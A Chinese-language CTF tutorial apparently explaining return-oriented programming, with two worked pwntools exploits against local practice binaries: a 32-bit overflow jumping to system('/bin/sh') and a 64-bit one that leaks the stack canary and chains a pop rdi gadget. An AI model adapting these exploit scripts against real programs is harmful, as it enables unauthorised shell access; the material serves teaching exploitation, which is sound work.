rop链攻击原理
- 在机器级编程中,调用函数的过程为:
先从主函数跳转至被调用函数,此时栈空间中会保存被调用函数的临时变量,栈顶为返回地址,其下是传入该函数的参数。在被调用函数执行完毕后,会清理自己所使用的栈空间并返回之前的位值。因此被调用函数通常以ret指令结尾。 - 而rop链即是基于以上原理,依靠ret指令获取程序控制权,从而达到一定的目的。
构造rop链的实例1(32位)
- 首先checksec
发现只开启了nx保护 - 静态分析
主函数中已调用system函数
vuln函数中存在栈溢出漏洞
偏移为32 - 开始构造rop链
- 在ida中查找所需的call system指令的地址
- 查找所需的‘/bin/sh’字段
因此可得exp
- 在ida中查找所需的call system指令的地址
from pwn import *
r=process('./pwn')
system_addr=0x080491E7
binsh_addr=0x0804C024
offect=32
payload=(offect*'a').encode()+p32(system_addr)+p32(binsh_addr)
r.send(payload)
r.interactive()
构造rop链的实例2(64位)
-
checksec
发现存在canary
存在于偏移为0x28处 -
因此第一步先要泄露canary,然后进行溢出getshell
-
接下来开始静态分析,寻找可以使用的函数和地址
存在两个read函数和一个printf函数,恰好可以完成泄露-溢出的操作。
在main函数中找到call _system指令
search找到/bin/sh字段
由于这是64位程序,在调用函数时前6个参数保存在寄存器上,所以当我们需要将"/bin/sh"这个函数传给system的话,还需要获得一个寄存器的地址。
利用ROPgadget工具
-
此时我们已经获取所需的所有信息,接下来开始编写exp
from pwn import * p=process('./pwn') system_addr=0x0000000000401284 binsh_addr=0x0000000000404058 poprdi=0x00000000004011de offset=0x28 leak_canary=(0x28-0x1)*'a'+'b' p.sendlineafter("Go Go Go!!!",leak_canary) p.recvuntil("ab") canary=u64(p.recv(8))-0xa print(hex(canary))
首先进行canary的泄露
这里需要注意的是如果利用sendline进行交互,会在输入的信息中加入’\n’,为了防止报错要将传入字段的长度减一。并且这个’\n’会将canary最后一位’\00’覆盖,因此要在得到的canary上再减去’\n’即0xa。
- 此时得到了canary的值之后便开始进行溢出
如图,由于数组s总长为0x38,减去canary前的0x28及canary本身的0x8,还需补充0x8个字符才能覆盖到返回地址
因此编写payload如下
payload=(offset*'a').encode()+p64(canary)+(0x8*'a').encode()+p64(poprdi)+p64(binsh_addr)+p64(system_addr)
- 由此我们便可得到完整exp如下
from pwn import *
p=process('./pwn')
system_addr=0x0000000000401284
binsh_addr=0x0000000000404058
poprdi=0x00000000004011de
offset=0x28
leak_canary=(0x28-0x1)*'a'+'b'
p.sendlineafter("Go Go Go!!!",leak_canary)
p.recvuntil("ab")
canary=u64(p.recv(8))-0xa
print(hex(canary))
payload=(offset*'a').encode()+p64(canary)+(0x8*'a').encode()+p64(poprdi)+p64(binsh_addr)+p64(system_addr)
p.sendline(payload)
p.interactive()
- 总结
32位rop和64位rop在思路上高度一致,区别在于二者参数传递的方式,32位直接利用栈传参,而64位会优先利用寄存器传参。
而rop栈溢出的思路也很单一,寻找溢出点,覆盖到返回地址,运行shellcode。
但是这类题目在设置上可以做到很多样化,利用漏洞的不同,保护方式的不同,都可导致解题思路的变化。